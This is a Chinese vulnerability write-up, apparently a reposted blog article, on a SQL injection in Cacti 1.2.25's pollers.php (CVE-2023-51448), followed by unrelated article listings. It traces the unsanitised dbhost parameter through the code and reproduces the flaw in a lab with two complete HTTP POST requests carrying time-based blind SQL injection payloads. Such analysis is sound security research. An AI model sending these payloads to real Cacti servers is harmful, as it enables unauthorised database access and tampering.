Cacti SQL注入漏洞分析(CVE-2023-51448)

news2024/11/15 4:25:03

Cacti 为全球用户提供强大且可扩展的运营监控和故障管理框架。它还是一个完整的网络绘图解决方案,旨在利用RRDTool的数据存储和绘图功能。Cacti 包括一个完全分布式和容错的数据收集框架、用于设备、图表和树的高级基于模板的自动化功能、多种数据采集方法、通过插件进行扩展的能力、基于角色的用户、组和域管理功能,此外还有一个主题引擎和多种语言支持,所有这些都是开箱即用的。

Cacti pollers.php文件接口在SQL注入漏洞。攻击者可以通过构造恶意的SQL语句,成功注入并执行恶意数据库操作,可能导致敏感信息泄露、数据库被篡改或其他严重后果。

影响版本1.2.25

代码分析

由action=save 进入form_save函数

 

 

由save_component_poller=1进入if语句之后由id=2 再进入下面的if语句

$save['dbhost']        = form_input_validate(get_nfilter_request_var('dbhost'),    'dbhost',    '', true, 3);

dbhost没有给$regexp_match,等于form_input_calidate没有做任何处理

 

根据message信息判断这里两个if语句要是id不能为重复的值

因为dbhost不等于localhost接下来进入321行,id=2 大于1 进入poller_host_duplicate函数

 

这里显然易见,$host被拼接在like语句之后,可以进行sql注入。

漏洞复现 

下载源码搭建测试环境

 使用admin/admin进入后台,进入数据采集器页面(pollers.php),查看源码获取__csrf_magic值

后发送如下的包,进行sql盲注判断
 

POST /pollers.php?header=false HTTP/1.1
Host: 192.168.76.128:8080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.76.128:8080/pollers.php?clear=1&
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: CactiTimeZone=480; Cacti=b916ec1e58797bcfe864ccad55fc18a1; cacti_remembers=1%2C0%2Cd91e36164ef89e826e01c8ca07c4bcb6492a66848a0b6c73cff8f5b4ace752f9; CactiDateTime=Sun Aug 18 2024 20:52:33 GMT+0800 (中å½æ åæ¶é´)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 230

__csrf_magic=sid:60616422313682591b714451a04204353c1b2403,1723985760&name=Main+Poller&hostname=unknown&timezone=&notes=&processes=1&threads=1&id=2&save_component_poller=1&dbhost="XOR(if(now()=sysdate(),sleep(4),0))XOR"&action=save

或者

POST /pollers.php?header=false HTTP/1.1
Host: 192.168.76.128:8080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.76.128:8080/pollers.php?clear=1&
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: CactiTimeZone=480; Cacti=b916ec1e58797bcfe864ccad55fc18a1; cacti_remembers=1%2C0%2Cd91e36164ef89e826e01c8ca07c4bcb6492a66848a0b6c73cff8f5b4ace752f9; CactiDateTime=Sun Aug 18 2024 20:52:33 GMT+0800 (中å½æ åæ¶é´)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

__csrf_magic=sid:60616422313682591b714451a04204353c1b2403,1723985760&name=Main+Poller&hostname=unknown&timezone=&notes=&processes=1&threads=1&id=2&save_component_poller=1&dbhost=";%20select%20sleep(6);%20select%20*%20from%20poller%20where%201=1%20and%20"%"="&action=save

效果如下

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2053893.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自然语言处理系列三十三》 语义相似度》同义词词林》算法原理

注:此文章内容均节选自充电了么创始人,CEO兼CTO陈敬雷老师的新书《自然语言处理原理与实战》(人工智能科学与技术丛书)【陈敬雷编著】【清华大学出版社】 文章目录 自然语言处理系列三十三同义词词林算法原理代码实战 总结 自然语…

软件测试面试题整理(一)之自动化测试题大合集

1 什么是POM,为什么要使用它? POM是Page Object Model的简称,它是一种设计思想,而不是框架。大概的意思是,把一个一个页面,当做一个对象,页面的元素和元素之间操作方法就是页面对象的属性和行为…

甘肃旅游服务平台代码--论文pf

TOC springboot422甘肃旅游服务平台代码--论文pf 绪论 1.1 研究背景 现在大家正处于互联网加的时代,这个时代它就是一个信息内容无比丰富,信息处理与管理变得越加高效的网络化的时代,这个时代让大家的生活不仅变得更加地便利化&#xff0…

基于java的养老服务系统/基于web的养老院管理系统

摘要 随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,养老服务当然也不能排除在外,从健康体检、体检预约的统计和分析,在过程中会产生大量的、各种各样的…

WLAN射频调优

射频调优的基本原则 信道优化的基本原则 2.4G射频在非高密部署场景中推荐采用1、6、11这种3个不重叠的信道进行规划,同理也可以选用2、7、12或3、8、13的组合方式;在高密部署场景中则推荐采用1、5、9、13共4个信道组合进行规划。5G射频推荐采用36、40、…

【二分查找】--- 进阶题目赏析

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏: 算法Journey 本篇博客我们继续来了解一些有关二分查找算法的进阶题目。 🏠 寻找峰值 📌 题目内容 162. 寻找峰值 - 力扣&#…

使用QGraphicsView思想做一个简单图片查看器

使用QGraphicsView思想做一个简单图片查看器 如果要做一个图片查看器,支持放大、滚动操作,比较直接的方法是,使用QWidget来显示完整图片,将QWidget放入QScrollArea。缩放时调整QWidget的尺寸,QScrollArea会自动调整滚…

C++_基本语法笔记_仿函数和算法接口

函数对象 概念和使用 切记:仿函数,本质是一个类因为是一个类,所以要把operator() 放在一个类里面 像普通函数(需要通过某个类使用)一样使用,并且有返回值: 内置当前函数对象的状态&#xff1…

基于Springboot的多功能智能点餐小程序/基于微信小程序的点餐系统

摘要 计算机网络如果结合使用信息管理系统,能够提高管理员管理的效率,改善服务质量。优秀的智能点餐系统能够更有效管理用户智能点餐业务规范,帮助管理者更加有效管理用户智能点餐,可以帮助提高克服人工管理带来的错误等不利因素。…

牛客网SQL进阶135 :每个6/7级用户活跃情况

每个67级用户活跃情况_牛客题霸_牛客网 0 问题描述 基于用户信息表user_info、、试卷作答记录表exam_record、题目练习记录表practice_record,统计 每个6/7级用户总活跃月份数、2021年活跃天数、2021年试卷作答活跃天数、2021年答题活跃天数,结果 按照总…

C语言典型例题41

《C程序设计教程(第四版)——谭浩强》 习题3.1 写出下列各个表达式的值。设a3,b4,c5。 (1) ab>c && bc (2) a||bc && b-c (3) !(a>b) && !c || 1 (4) …

遗传算法原理与实战(python、matlab)

遗传算法 1.什么是遗传算法 遗传算法(Genetic Algorithm,简称GA)是一种基于生物进化论和遗传学原理的全局优化搜索算法。它通过模拟自然界中生物种群的遗传机制和进化过程来解决复杂问题,如函数优化、组合优化、机器学习等。遗传…

CTFHUB-技能树-Web题-RCE(远程代码执行)-远程包含-命令注入-综合过滤练习

CTFHUB-技能树-Web题-RCE(远程代码执行)-远程包含-命令注入-综合过滤练习 根据题目提示 以及代码 法1: 分隔符可以使用%0a代替 若直接使用文本框上传命令会导致字符被转义,直接访问URL payload: /?ip127.0.0.1%…

docker部署Mongodb后输入命令报错?

🏆本文收录于《CSDN问答解惑-专业版》专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收…

vue实现动画

方法一: 先理解事件发生的过程,v-enter,v-enter-to,v-leave,v-leave-to。其中v-enter,v-leave-to代表开始以及结束时的状态。v-enter-active,v-leave-active代表动画的过程。 定义动画第一步把要做动画的语句添加到transition中,其中name可…

使用docxtemplater-image-module-free时支持动态获取图片大小

使用docxtemplater-image-module-free时支持动态获取图片大小 1、问题背景 在使用docxtemplater-image-module-free生成模板图片时,写死了其中一个函数 getSize() {return [150, 150]; },导致图片都是一个大小,且被拉扯的变形了 2、报错信息 在去掉…

C++——入门基础(上)

目录 一、C参考文档 二、C在工作领域的应用 三、C学习书籍 四、C的第一个程序 五、命名空间 (1)namespace的定义 (2)命名空间的使用 六、C的输入和输出 七、缺省函数 八、函数重载 九、写在最后 一、C参考文档 (1)虽…

二叉树《数据结构》

二叉树 1. 树概念及结构1.1 树的概念1.2树的概念1.3 树的表示 2. 二叉树概念及结构2.1 二叉树概念2.4 二叉树的性质练习 3. 二叉树顺序结构及实现3.1 二叉树的顺序结构3.2堆的结构及概念练习3.3堆的实现3.3.1堆的向下调整算法3.3.2堆的创建3.3.3 堆的插入3.3.4 堆的删除3.3.5堆…

C2M商业模式分析与运营平台建设解决方案(五)

C2M商业模式通过直接对接消费者需求与制造商,实现了生产与市场需求的精准匹配,本文提出的解决方案重点在于构建一个智能化运营平台,通过集成先进的大数据分析、人工智能技术和灵活的供应链管理系统,全面提升需求预测的准确性、生产…

【若依框架】代码生成详细教程,15分钟搭建Springboot+Vue3前后端分离项目,基于Mysql8数据库和Redis5,管理后台前端基于Vue3和Element Plus,开发小程序数据后台

今天我们来借助若依来快速的搭建一个基于springboot的Java管理后台,后台网页使用vue3和 Element Plus来快速搭建。这里我们可以借助若依自动生成Java和vue3代码,这就是若依的强大之处,即便你不会Java和vue开发,只要跟着石头哥也可…